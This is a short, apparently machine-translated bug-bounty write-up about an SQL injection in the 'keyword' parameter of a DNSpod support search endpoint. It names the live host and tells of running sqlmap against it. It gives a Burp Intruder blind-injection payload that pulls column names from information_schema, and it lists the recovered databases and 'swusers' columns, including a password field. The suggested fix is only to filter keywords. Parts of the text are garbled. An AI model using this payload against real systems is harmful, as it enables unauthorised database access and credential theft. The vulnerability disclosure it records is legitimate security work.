An SQL injection for DNSpod

POST/Kb/searchts HTTP/1.1 Host: support.dnspod.cn keyword = 123 keyword parameter. Click "Help Center" in the navigation bar to open the dnspod homepage. Blind injection was found, so I did not care about it. I threw sqlmap directly and went to the result. After sqlmap ran the table name, I completely took a break. A column name and content cannot be dumped. So I defined payload with burp, intruderkeyword = % 27 + and + (select SUBSTR (group_concat (column_name), § 1 §, 1) from information_schema.COlUMNS where TABLE_SCHEMA = database () and TABLE_NAME = 'swusers') = '§ 2 §' + and + % 27% 25% 27% 3D % 27 get all column names of the swusers table

I am here to earn wb.
[*] Information_schema [*] swift440 [*] test swusers: userid, usergroupid, userrole, userorganizationid, salutation, fullname, userdesignation, phone, userpassword, islegacypassword, dateline, lastupbdabbtbe ,......Solution:

Filter keywords